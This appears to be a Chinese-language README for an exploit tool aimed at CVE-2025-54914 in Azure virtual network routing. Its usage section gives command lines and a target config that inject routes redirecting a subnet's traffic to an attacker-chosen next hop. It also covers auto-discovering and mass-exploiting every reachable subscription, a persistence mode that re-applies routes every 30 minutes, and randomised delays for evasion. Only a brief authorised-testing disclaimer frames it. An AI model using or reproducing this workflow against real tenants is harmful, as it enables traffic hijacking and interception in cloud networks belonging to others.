这是 CVE-2025-54914 Azure 网络路由利用工具的改进版本。本版本保留了核心 CVE 功能,同时增加了包括持久化、规避、多目标扫描和错误处理在内的更多特性。
# 安装 Python 依赖
pip install requests
# 安装 Azure CLI(用于身份认证)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# 赋予脚本可执行权限
chmod +x exploit.py
chmod +x exploit_utils.py
# 使用 Azure 进行身份认证
az login
# 在单个目标上创建路由
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# 删除路由
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--route-name "exploit-route-1" \
--operation delete
# 创建配置文件
python exploit_utils.py discover --output targets.json
# 利用所有目标
python exploit.py --targets-file targets.json --operation create
# 仅扫描目标,不进行利用
python exploit.py --targets-file targets.json --scan-only
# 启用持久化,间隔30分钟
python exploit.py --targets-file targets.json --persistence-mode --interval 30
# 自定义延迟范围用于规避
python exploit.py \
--targets-file targets.json \
--delay-min 1.0 \
--delay-max 5.0 \
--max-workers 5
# 测试但不实际利用
python exploit.py --targets-file targets.json --dry-run
# 启用调试日志
python exploit.py \
--targets-file targets.json \
--log-level DEBUG \
--log-file exploit.log
{
"targets": [
{
"subscription_id": "12345678-1234-1234-1234-123456789012",
"resource_group": "production-rg",
"vnet_name": "prod-vnet",
"subnet_name": "prod-subnet",
"route_name": "exploit-route-1",
"address_prefix": "10.0.1.0/24",
"next_hop_type": "VirtualAppliance",
"next_hop_ip": "10.0.2.5",
"api_version": "2025-09-01",
"priority": 1
}
],
"metadata": {
"description": "CVE-2025-54914 的目标配置",
"created": "2025-01-09",
"version": "1.0"
}
}
# Azure 访问令牌(Azure CLI 的替代方案)
export AZURE_ACCESS_TOKEN="your_token_here"
# 日志级别
export LOG_LEVEL="INFO"
# 发现所有可访问的目标
python exploit_utils.py discover --output discovered_targets.json
# 发现特定订阅
python exploit_utils.py discover \
--subscription-ids "sub1" "sub2" \
--output targets.json \
--report discovery_report.txt
# 从已发现的目标生成利用配置
python exploit_utils.py config \
--input discovered_targets.json \
--output exploit_config.json \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# 分析目标以进行风险评估
python exploit_utils.py analyze \
--input targets.json \
--output vulnerability_report.txt
--dry-run 测试--max-workers# 重新进行 Azure 身份认证
az login
# 检查当前帐户
az account show
# 列出可访问的订阅
az account list
# 检查所需的权限
az role assignment list --assignee $(az account show --query user.name -o tsv)
# 测试连接
curl -I https://management.azure.com
# 检查代理设置
echo $HTTP_PROXY
echo $HTTPS_PROXY
# 启用详细日志
python exploit.py --log-level DEBUG --log-file debug.log
# 查看日志文件
tail -f debug.log
⚠️ 重要:此工具仅用于授权的安全测试。
本项目仅许可用于研究和教育用途。商业用途需获得明确许可。
如有问题或疑问: